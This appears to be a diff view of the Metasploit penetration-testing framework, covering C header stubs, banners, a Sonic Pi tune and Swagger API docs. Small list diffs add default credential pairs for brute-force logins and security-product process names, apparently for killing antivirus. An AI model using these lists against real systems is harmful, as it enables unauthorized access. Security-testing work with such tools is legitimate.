typedef long HRESULT;
typedef long LONG;
typedef float FLOAT;
typedef DWORD COLORREF;
typedef WORD ATOM;
typedef BYTE BOOLEAN;
typedef void* HANDLE;
typedef HANDLE SC_HANDLE;
typedef HANDLE HINSTANCE;
typedef HINSTANCE HMODULE;
typedef HANDLE HHOOK;
typedef HANDLE HCONV;
typedef HANDLE HCONFLIST;
typedef HANDLE HFONT;
typedef HANDLE HGLOBAL;
typedef HANDLE HICON;
typedef HANDLE HKEY;
typedef HANDLE HGLOBAL;
typedef HKEY* PHKEY;
typedef HANDLE HKL;
typedef unsigned char UCHAR;
typedef char TCHAR;
typedef char CCHAR;
typedef int INT;
typedef unsigned int UINT;
typedef unsigned int UINT_PTR;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef long* LPLONG;
typedef long LONG_PTR;
typedef unsigned short USHORT;
typedef unsigned short WORD;
typedef unsigned int size_t;
typedef size_t* PSIZE_T;
typedef DWORD* LPDWORD;
typedef DWORD* PDWORD;
typedef HANDLE* LPHANDLE;
typedef HANDLE* PHANDLE;
typedef unsigned short u_short;
typedef BYTE* LPBYTE;
typedef BYTE* PBYTE;
typedef void* PVOID;
typedef void* LPVOID;
typedef void* LPCVOID;
typedef ULONG_PTR DWORD_PTR;
typedef void* HWND;
typedef int BOOL;
typedef int bool;
typedef BOOL* PBOOL;
typedef LONG_PTR LRESULT;
typedef UINT_PTR WPARAM;
typedef LONG_PTR LPARAM;
typedef long NTSTATUS;
typedef ULONG* PULONG;
typedef ULONG REGSAM;
typedef LRESULT (CALLBACK* HOOKPROC)(int, WPARAM, LPARAM);
typedef __stdcall int (*FARPROC)();
typedef struct _iobuf FILE;
typedef long fpos_t;
typedef int* LPINT;
typedef struct {
unsigned int gp_offset;
unsigned int fp_offset;
void *overflow_arg_area;
void *reg_save_area;
} va_list[1];
-40
View File
@@ -1,40 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
FILE* popen(const char*, const char*);
int pclose(FILE*);
int fscanf(FILE*, const char*, ...);
int scanf(const char*, ...);
int sscanf(const char*, const char*, ...);
int vfscanf(FILE*, const char*, va_list);
int vsscanf(const char*, const char*, va_list);
int fclose(FILE*);
void clearerr(FILE*);
int feof(FILE*);
int ferror(FILE*);
int fflush(FILE*);
int fgetpos(FILE*, fpos_t*);
FILE *fopen(const char*, const char*);
size_t fread(void*, size_t, size_t, FILE*);
FILE *freopen(const char*, const char*, FILE*);
int fseek(FILE*, long int, int);
int fsetpos(FILE*, const fpos_t*);
long int ftell(FILE*);
size_t fwrite(const void*, size_t, size_t, FILE*);
int remove(const char*);
int rename(const char*, const char*);
void rewind(FILE*);
void setbuf(FILE*, char*);
int setvbuf(FILE*, char*, int, size_t);
FILE *tmpfile(void);
char *tmpnam(char*);
int fprintf(FILE*, const char*, ...);
int printf(const char*, ...);
int sprintf(char*, const char*, ...);
int vfprintf(FILE*, const char*, va_list);
int vsprintf(char*, const char*, va_list);
int vsnprintf(char*, size_t, const char*, va_list);
int vasprintf(char**, const char*, va_list);
int vdprintf(int, const char*, va_list);
-48
View File
@@ -1,48 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
typedef struct _div_t {
int quot;
int rem;
} div_t;
typedef struct _ldiv_t {
long quot;
long rem;
} ldiv_t;
typedef struct _lldiv_t {
long long quot;
long long rem;
} lldiv_t;
int rand(void);
void srand(unsigned);
void* malloc(size_t);
void* realloc(void*, size_t);
void free(void*);
double atof(const char*);
double strtod(const char*, char**);
float strtof(const char*, char**);
long int strtol(const char*, char**, int);
long double strtold(const char*, char**);
int atoi(const char*);
void abort(void);
void exit(int);
int atexit(void (*function)(void));
char* getenv(const char*);
int setenv(const char*, const char*, int);
int putenv(char*);
int unsetenv(const char*);
void *bsearch(const void*, const void*, size_t, size_t, int (*compar)(const void*, const void*));
void qsort(void*, size_t, size_t, int (*compar)(const void*, const void*));
int abs(int);
int mblen(const char*, size_t);
int system(const char*);
long int labs(long int);
div_t div(int, int);
ldiv_t ldiv(long int, long int);
void* malloc (size_t size);
-11
View File
@@ -1,11 +0,0 @@
//
// License:
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
//
void xor(char* dest, char* src, char key, int len) {
for (int i = 0; i < len; i++) {
char c = src[i] ^ key;
dest[i] = c;
}
}
+2 -2
View File
@@ -1,7 +1,7 @@
%clr
______________________________________________________________________________
| |
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V5%clr |
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
|______________________________________________________________________________|
%yel\%clr %yel/%clr %yel/%clr
%yel\%clr . %yel/%clr %yel/%clr x
@@ -25,6 +25,6 @@
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
################################################################################
################################################################################
# %bldWAVE 5%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
################################################################################
https://metasploit.com%clr
-25
View File
@@ -1,25 +0,0 @@
%clr%red .;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
%red 'oOWMMMMMMMMo%clr +:+
%red .,cdkO0K;%clr :+: :+:
:::::::+:
%whiMetasploit%clr %yelUnder Construction%clr
@@ -1,6 +0,0 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```
Binary file not shown.
+58
View File
@@ -0,0 +1,58 @@
use_bpm 130
use_synth_defaults sustain: 0
live_loop :drums do
sample :drum_heavy_kick, amp: 2
sleep 1
sample :drum_snare_hard
sleep 1
end
live_loop :hi_hat do
sample :drum_cymbal_closed, amp: 0.5
sleep 0.5
end
live_loop :bass do
use_synth :pluck
notes = %i[
Eb3 Eb3 Eb3
B2 B2 B2
Fs2 Fs2 Fs2
As2 As2 As2 As2
]
beats = %w[
2.0 1.0 1.0
2.0 1.0 1.0
2.0 1.0 1.0
1.5 1.0 0.5 1.0
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
live_loop :lead do
use_synth :piano
notes = %i[
As4 As4 As4 As4 Gs4 As4 As4
As4 As4 As4 Gs4 As4 As4
Db5 As4 Gs4 Fs4
Eb4 Eb4 F4 Fs4 Eb4
]
beats = %w[
2.00 0.50 0.25 0.25 0.25 0.75 2.00
0.50 0.25 0.25 0.25 0.75 1.50
1.00 1.00 1.00 1.00
0.50 0.50 0.50 0.50 0.50
].map(&:to_f)
with_fx :reverb do
play_pattern_timed notes, beats
end
end
+9
View File
@@ -1,3 +1,12 @@
AlMon.exe
SAVAdminService.exe
SavService.exe
SNTPService.exe
swc_service.exe
swi_fc.exe
swi_filter.exe
swi_service.exe
swi_fc.exe
emet_agent.exe
emet_service.exe
firesvc.exe
+4
View File
@@ -0,0 +1,4 @@
244+0000009999
188+030000
19b+00000F
19b+000010
+1
View File
@@ -4,3 +4,4 @@ root
Administrator
USERID
guest
Admin
+1
View File
@@ -405,6 +405,7 @@ root realtek
root root
root tini
root tslinux
root ubnt
root user
root vizxv
root wyse
+1 -1
View File
@@ -44,7 +44,7 @@ apc
bintec
blue
c
cable-d
cable-docsis
canon_admin
cc
cisco
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
+29809 -16525
View File
File diff suppressed because it is too large Load Diff
-61
View File
@@ -1,61 +0,0 @@
require 'swagger/blocks'
module AuthApiDoc
include Swagger::Blocks
MESSAGE_DESC = 'The status of the authentication request.'
MESSAGE_EXAMPLE = 'Generated new API token.'
TOKEN_DESC = 'The Authentication Bearer token'
TOKEN_EXAMPLE = '899d2f45e12429d07427230289400a4594bcffe32169ebb826b4ffa9b90e1d1586f15fa42f069bb7'
# Swagger documentation for auth model
swagger_schema :Auth do
property :message, type: :string, description: MESSAGE_DESC, example: MESSAGE_EXAMPLE
property :token, type: :string, description: TOKEN_DESC, example: TOKEN_EXAMPLE
end
swagger_path '/api/v1/auth/generate-token' do
# Swagger documentation for /api/v1/auth/generate-token POST
operation :post do
key :description, 'Return a valid Authorization Bearer token.'
key :tags, [ 'auth' ]
parameter do
key :in, :body
key :name, :body
key :description, 'Login credentials for the user who will be generating a token.'
key :required, true
schema do
property :username, type: :string, required: true
property :password, type: :string, required: true
end
end
response 200 do
key :description, 'Returns a valid auth token.'
schema do
property :data do
key :'$ref', :Auth
end
end
end
response 401 do
key :description, 'Invalid username or password. ' + RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
-370
View File
@@ -1,370 +0,0 @@
require 'swagger/blocks'
# TODO: Complete this documentation when the credential model is fully implemented in the API.
module CredentialApiDoc
include Swagger::Blocks
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
ADDRESS_EXAMPLE = '127.0.0.1'
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
SERVICE_NAME_EXAMPLE = 'ssh'
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
PORT_EXAMPLE = '22'
PROTOCOL_DESC = 'The protocol the service was using.'
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
FILENAME_EXAMPLE = '/etc/shadow'
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
USERNAME_DESC = 'The username for this credential.'
USERNAME_EXAMPLE = 'administrator'
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
KEY_DESC = 'The name of the key for the realm.'
KEY_EXAMPLE = 'Active Directory Domain'
VALUE_DESC = 'The value of the key for the realm.'
VALUE_EXAMPLE = 'contoso.com'
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
PRIVATE_TYPE_CLASS_ENUM = [
'Metasploit::Credential::ReplayableHash',
'Metasploit::Credential::NonreplayableHash',
'Metasploit::Credential::NTLMHash',
'Metasploit::Credential::Password',
'Metasploit::Credential::PasswordHash',
'Metasploit::Credential::SSHKey',
'Metasploit::Credential::PostgresMD5',
'Metasploit::Credential::BlankPassword'
]
PRIVATE_TYPE_ENUM = [
'password',
'ssh_key',
'ntlm_hash',
'postgres_md5',
'nonreplayable_hash',
'<blank>'
]
ORIGIN_TYPE_CLASS_ENUM = [
'Metasploit::Credential::Origin::Import',
'Metasploit::Credential::Origin::Manual',
'Metasploit::Credential::Origin::Service',
'Metasploit::Credential::Origin::Session'
]
ORIGIN_TYPE_ENUM = [
'import',
'manual',
'service',
'session'
]
# Swagger documentation for Credential model
swagger_schema :Credential do
key :required, [:origin_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
property :logins do
key :type, :array
items do
key :'$ref', :Login
end
end
property :public, '$ref': :Public
property :private, '$ref': :Private
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Public do
key :required, [:username, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Private do
key :required, [:data, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Realm do
key :required, [:key, :value]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :key, type: :string, description: KEY_DESC, example: KEY_EXAMPLE
property :value, type: :string, description: VALUE_DESC, example: VALUE_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/credentials' do
# Swagger documentation for /api/v1/credentials GET
operation :get do
key :description, 'Return credentials that are stored in the database.'
key :tags, [ 'credential' ]
parameter :workspace
parameter do
key :in, :query
key :name, :svcs
key :description, 'Only return credentials of the specified service.'
key :example, ['ssh', 'owa', 'smb']
key :type, :array
key :required, false
items do
key :type, :string
end
end
parameter do
key :in, :query
key :name, :type
key :description, 'The type of credential to return.'
key :type, :string
key :required, false
key :enum, PRIVATE_TYPE_CLASS_ENUM
end
parameter do
key :in, :query
key :name, :user
key :description, 'Only return credentials where the user matches this regex.'
key :example, 'administrator'
key :type, :string
key :required, false
end
parameter do
key :in, :query
key :name, :pass
key :description, 'Only return credentials where the password matches this regex.'
key :example, 'password123'
key :type, :string
key :required, false
end
response 200 do
key :description, 'Returns credential data.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :Credential
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/credentials POST
operation :post do
key :description, 'Create a credential.'
key :tags, [ 'credential' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the credential.'
key :required, true
schema do
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
property :realm_key, type: :string, description: KEY_DESC, enum: PRIVATE_TYPE_ENUM
property :realm_value, type: :string, description: VALUE_DESC, enum: PRIVATE_TYPE_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/credentials/ DELETE
operation :delete do
key :description, 'Delete the specified credentials.'
key :tags, [ 'credential' ]
parameter :delete_opts
response 200 do
key :description, 'Returns an array containing the successfully deleted credentials.'
schema do
key :type, :array
items do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
swagger_path '/api/v1/credentials/{id}' do
# Swagger documentation for api/v1/credentials/:id GET
operation :get do
key :description, 'Return credential that is stored in the database.'
key :tags, [ 'credential' ]
parameter :workspace
parameter :non_dead
parameter :address
parameter do
key :name, :id
key :in, :path
key :description, 'ID of credential to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns credential data.'
schema do
property :data do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
#Swagger documentation for /api/v1/credentials/:id PUT
operation :put do
key :description, 'Update the attributes an existing credential.'
key :tags, [ 'credential' ]
parameter :update_id
parameter do
key :in, :body
key :name, :body
key :description, 'The updated attributes to overwrite to the credential.'
key :required, true
schema do
key :'$ref', :Credential
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Credential
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
-54
View File
@@ -1,54 +0,0 @@
require 'swagger/blocks'
module DbExportApiDoc
include Swagger::Blocks
swagger_path '/api/v1/db-export' do
# Swagger documentation for /api/v1/db-export GET
operation :get do
key :description, 'Create a backup of the database as a file that can be re-imported to restore data.'
key :tags, [ 'db_export' ]
parameter :workspace
parameter do
key :in, :query
key :name, :path
key :required, true
key :description, 'The location to store the export file.'
end
parameter do
key :in, :query
key :name, :format
key :required, true
key :description, 'The file format to export as. Valid values are \'xml\' and \'pwdump\''
end
response 200 do
key :description, 'A JSON object containing the Base64 encoded backup file.'
schema do
property :data do
property :db_export_file do
key :type, :string
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
-177
View File
@@ -1,177 +0,0 @@
require 'swagger/blocks'
module EventApiDoc
include Swagger::Blocks
NAME_DESC = 'The name of the event.'
NAME_EXAMPLE = 'module_run'
HOST_DESC = 'The address of the host related to this event.'
CRITICAL_DESC = 'true if the event is considered critical.'
SEEN_DESC = 'true if a user has acknowledged the event.'
USERNAME_DESC = 'Name of the user that triggered the event.'
INFO_DESC = 'Information about the event specific to the event name.'
INFO_EXAMPLE = {command: 'irb'}
# Swagger documentation for Event model
swagger_schema :Event do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :seen, type: :string, description: SEEN_DESC
property :username, type: :string, description: USERNAME_DESC
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
end
swagger_path '/api/v1/events' do
# Swagger documentation for /api/v1/events GET
operation :get do
key :description, 'Return events that are stored in the database.'
key :tags, [ 'event' ]
parameter :workspace
parameter do
key :name, :limit
key :in, :query
key :description, RootApiDoc::LIMIT_DESC
key :example, RootApiDoc::LIMIT_DEFAULT
key :type, :integer
key :format, :int32
key :required, false
end
parameter do
key :name, :offset
key :in, :query
key :description, RootApiDoc::OFFSET_DESC
key :example, RootApiDoc::OFFSET_DEFAULT
key :type, :integer
key :format, :int32
key :required, false
end
parameter do
key :name, :order
key :in, :query
key :description, RootApiDoc::ORDER_DESC
key :type, :string
key :required, false
key :enum, RootApiDoc::ORDER_ENUM
end
response 200 do
key :description, 'Returns event data.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :Event
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/events POST
operation :post do
key :description, 'Create an event.'
key :tags, [ 'event' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the event.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :username, type: :string, description: USERNAME_DESC
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Event
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
swagger_path '/api/v1/events/{id}' do
# Swagger documentation for /api/v1/events/:id GET
operation :get do
key :description, 'Return a specific event that is stored in the database.'
key :tags, [ 'event' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of event to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns event data.'
schema do
property :data do
key :'$ref', :Event
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

Some files were not shown because too many files have changed in this diff Show More